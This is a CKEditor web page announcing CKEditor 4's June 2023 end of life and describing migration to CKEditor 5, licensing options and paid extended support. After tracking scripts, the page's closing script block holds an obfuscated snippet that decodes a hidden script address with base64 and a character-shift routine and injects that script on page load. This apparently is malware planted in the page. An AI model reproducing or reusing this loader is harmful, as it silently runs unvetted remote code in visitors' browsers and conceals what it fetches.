CKEditor 4: End of Life June 2023

CKEditor 4 reaches its End of Life (EOL) in June 2023. From then onwards, it’ll no longer be updated, have security patches and bug fixes, or new features. Given this, projects with CKEditor 4 implementations need to take action to ensure a secure and uninterrupted editing experience beyond its EOL.

Since its launch in November 2012, CKEditor 4 has served millions of users and transformed content creation processes. However, its end of life has come. No matter whether you’re using CKEditor 4 with a commercial or Open Source license, this article explains the options now available to you:

  • Migration to CKEditor 5, or
  • Purchase the Extended Support Model (if you choose to continue using CKEditor 4).

But first, let’s cover the fundamentals of this change.

Security notice

Please be aware that since June 30th 2023, Long Term Support (LTS) packages with security fixes have already been released for CKEditor 4 Extended Support Model. This means the last free open source version of CKEditor 4 (4.22.1) contains known security issues and should no longer be used. To ensure the security of your application, upgrade to CKEditor 5 or CKEditor 4 LTS.

# What is EOL and how does it affect your software?

The term end of life (common usage is EOL) is used to describe a technology product – software or hardware – that’s reached the end of its product life cycle. This point is usually reached when the parent company/creator/manufacturer decides that it’s outdated and users are better served by a replacement product.

Functionally, when a product reaches EOL users can continue to access the product, but it’s not actively being maintained, no security patches are released and technical support is ended.

In the case of CKEditor 4, your installation will continue to work, but the lack of patches, releases and support, may leave you vulnerable to security threats and bugs.

# 4 possible risks or issues with using EOL software

There are numerous examples of EOL software that remained popular and widely used despite reaching EOL. However, there are a few risks that come with continued usage:

  • Data break or injection
  • Lack of new features
  • Inability to move to more modern infrastructure
  • Provision of customer service (to your users/clients) becomes difficult

Just because an EOL software keeps working, it doesn’t mean you should continue to use it.

Updating to a new version may imply extra work to have full integration, but it’s definitely less work than trying to salvage either your hacked data, lost customers, or unhappy users due to outdated features.

Below is a breakdown of each option you have moving forward, and the variables involved that may affect your final decision.

# CKEditor 4 end of life: your next steps

To maintain a secure and uninterrupted service, we recommend that all installations are migrated to CKEditor 5.

# Upgrade to CKEditor 5

Compared to its predecessor, CKEditor 5 offers a more modern user experience along with next-generation features like collaboration. There are eight key differences between CKEditor 4 and CKEditor 5:

  • (New) Editing engine
  • (Upgraded) Modern UI
  • (Upgraded) Powerful APIs
  • (Upgraded) Markdown output
  • (New) TypeScript
  • (New) Collaboration ready
  • (Upgraded) File conversion
  • (New) Premium features bundle with Slash commands

Depending on the type of license you’re using, different courses of action are needed.

# Existing CKEditor 4 subscription users

If you have an active CKEditor 4 subscription on a monthly or yearly basis, you can migrate to CKEditor 5 at no additional cost or setup.

Please contact our support team to ensure a smooth migration process or to ask any questions you have regarding the migration.

# CKEditor 4 Open Source users

CKEditor 4 is available under GPL, LGPL, and MPL open Source licenses which allow you to implement it at no cost. However, CKEditor 5 is only available under GPL 2+ copyleft Open Source license.

Therefore commercial projects that use CKEditor 4 for free under an Open Source license are incompatible with GPL 2+ and need to purchase a commercial license to migrate to CKEditor 5.

You can contact our sales team to get a quote for the required commercial license.

If you would like to migrate to CKEditor 5 but your Open Source project is incompatible with a GPL 2+ license, you can still contact us for a free OS license.

# Legacy free plan users

For a limited time, CKEditor 4 was available for free for commercial projects with up to 2 developers and 5 users.

To be able to migrate to CKEditor 5, these projects also need to purchase a commercial CKEditor 5 license.

If you have any further questions about licensing you can also refer to the FAQs or contact us to discuss a suitable license for CKEditor 5.

# Extended Support Model

With any software product that’s had an 11-year lifecycle, it’s often difficult for every legacy project to migrate to the newer version in the optimal time frame. We understand that’s likely the case for some of our CKEditor 4 users.

So for a limited time, CKSource is offering an Extended Support Model for CKEditor 4:

The Extended Support Model is an additional offer that gives you access to CKEditor 4 Long Term Support(LTS) packages and can be purchased both by commercial and Open Source license users. To learn more or purchase the Extended Support Model, please contact our sales team at your earliest convenience – it’s only available for a limited time.

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

piAId = '1019062'; piCId = '3317'; piHostname = 'info.ckeditor.com'; (function() { function async_load(){ var s = document.createElement('script'); s.type = 'text/javascript'; s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + piHostname + '/pd.js'; var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c); } if(window.attachEvent) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } })();(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });